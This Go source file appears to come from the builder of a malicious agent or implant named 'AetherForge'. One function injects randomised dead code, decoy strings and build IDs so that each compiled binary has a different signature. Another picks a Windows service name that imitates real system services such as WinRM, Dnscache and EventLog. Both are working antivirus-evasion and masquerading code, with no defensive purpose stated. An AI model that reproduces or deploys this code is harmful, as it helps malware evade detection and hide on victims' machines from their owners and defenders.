package builder import ( "crypto/rand" "encoding/hex" "fmt" "hash/fnv" mrand "math/rand" "os" "path/filepath" "strings" ) // injectPolymorph writes a unique deadcode.go and returns extra -ldflags (buildid, nonce). func injectPolymorph(agentDir, seed string) (extraLdflags string, err error) { if seed == "" { b := make([]byte, 16) _, _ = rand.Read(b) seed = hex.EncodeToString(b) } h := fnv.New64a() _, _ = h.Write([]byte(seed)) rng := mrand.New(mrand.NewSource(int64(h.Sum64()))) buildIDHex := hex.EncodeToString(randomBytes(rng, 8)) nonce := hex.EncodeToString(randomBytes(rng, 12)) funcCount := 6 + rng.Intn(8) var funcDefs strings.Builder var funcNames []string for i := 0; i < funcCount; i++ { name := "dead_" + randomIdent(rng, 10+rng.Intn(8)) funcNames = append(funcNames, name) funcDefs.WriteString(generateDeadFunc(name, rng)) } strCount := 24 + rng.Intn(32) var strLines strings.Builder for i := 0; i < strCount; i++ { s := randomString(rng, 16+rng.Intn(48)) strLines.WriteString(fmt.Sprintf("\t%q,\n", s)) } var tableEntries strings.Builder for _, n := range funcNames { tableEntries.WriteString("\t\t" + n + ",\n") } content := fmt.Sprintf(`// Code generated by AetherForge polymorphic forge — DO NOT EDIT // Build seed: %s package polymorph import ( "crypto/md5" "encoding/hex" ) const buildNonce = %q var decoyStrings = []string{ %s} var buildMarker = %q func init() { _ = initDecoys() } func initDecoys() int { sum := 0 for _, fn := range deadFuncTable { sum += fn() } if len(decoyStrings) > 0 { h := md5.Sum([]byte(buildMarker + buildNonce)) sum += int(h[0]) ^ int(decoyStrings[len(decoyStrings)-1][0]) } _ = hex.EncodeToString([]byte(buildNonce)) return sum } func deadFuncTable() []func() int { return []func() int{ %s } } %s `, seed, nonce, strLines.String(), buildIDHex, tableEntries.String(), funcDefs.String()) dir := filepath.Join(agentDir, "polymorph") if err := os.MkdirAll(dir, 0755); err != nil { return "", err } if err := os.WriteFile(filepath.Join(dir, "deadcode.go"), []byte(content), 0644); err != nil { return "", err } extraLdflags = fmt.Sprintf(` -buildid=%s -X main.polymorphNonce=%s`, buildIDHex, nonce) return extraLdflags, nil } func generateDeadFunc(name string, rng *mrand.Rand) string { ops := 4 + rng.Intn(6) var b strings.Builder b.WriteString(fmt.Sprintf("//go:noinline\nfunc %s() int {\n\tx := %d\n", name, rng.Intn(99999)+1)) for i := 0; i < ops; i++ { switch rng.Intn(4) { case 0: b.WriteString(fmt.Sprintf("\tx = (x * %d) ^ %d\n", rng.Intn(127)+2, rng.Intn(4096))) case 1: b.WriteString(fmt.Sprintf("\tx += len(decoyStrings[%d %% len(decoyStrings)])\n", rng.Intn(8))) case 2: b.WriteString(fmt.Sprintf("\tif x > %d { x -= %d }\n", rng.Intn(5000), rng.Intn(500))) default: b.WriteString(fmt.Sprintf("\tx = x<<1 | (x >> %d)\n", 1+rng.Intn(3))) } } b.WriteString("\treturn x & 0xffff\n}\n\n") return b.String() } func randomBytes(rng *mrand.Rand, n int) []byte { b := make([]byte, n) for i := range b { b[i] = byte(rng.Intn(256)) } return b } func randomIdent(rng *mrand.Rand, n int) string { const chars = "abcdefghijklmnopqrstuvwxyz0123456789" out := make([]byte, n) for i := range out { out[i] = chars[rng.Intn(len(chars))] } return string(out) } func randomString(rng *mrand.Rand, n int) string { const chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ./-_" out := make([]byte, n) for i := range out { out[i] = chars[rng.Intn(len(chars))] } return string(out) } func pickServiceMasquerade(seed string) (serviceName, donor string) { profiles := []struct{ name, donor string }{ {"WinrmHostSvc", "WinRM"}, {"WcmsvcWorker", "Wcmsvc"}, {"DhcpMonitorHost", "Dhcp"}, {"DnscacheSync", "Dnscache"}, {"EventLogFwd", "EventLog"}, {"LanmanWorkstationMgr", "LanmanWorkstation"}, {"RpcEptMapperHost", "RpcEptMapper"}, {"ScheduleHostSvc", "Schedule"}, {"ShellHWDetectionMon", "ShellHWDetection"}, {"TrkWksHost", "TrkWks"}, } h := fnv.New32a() _, _ = h.Write([]byte(seed)) idx := int(h.Sum32()) % len(profiles) if idx < 0 { idx = -idx } p := profiles[idx] return p.name, p.donor }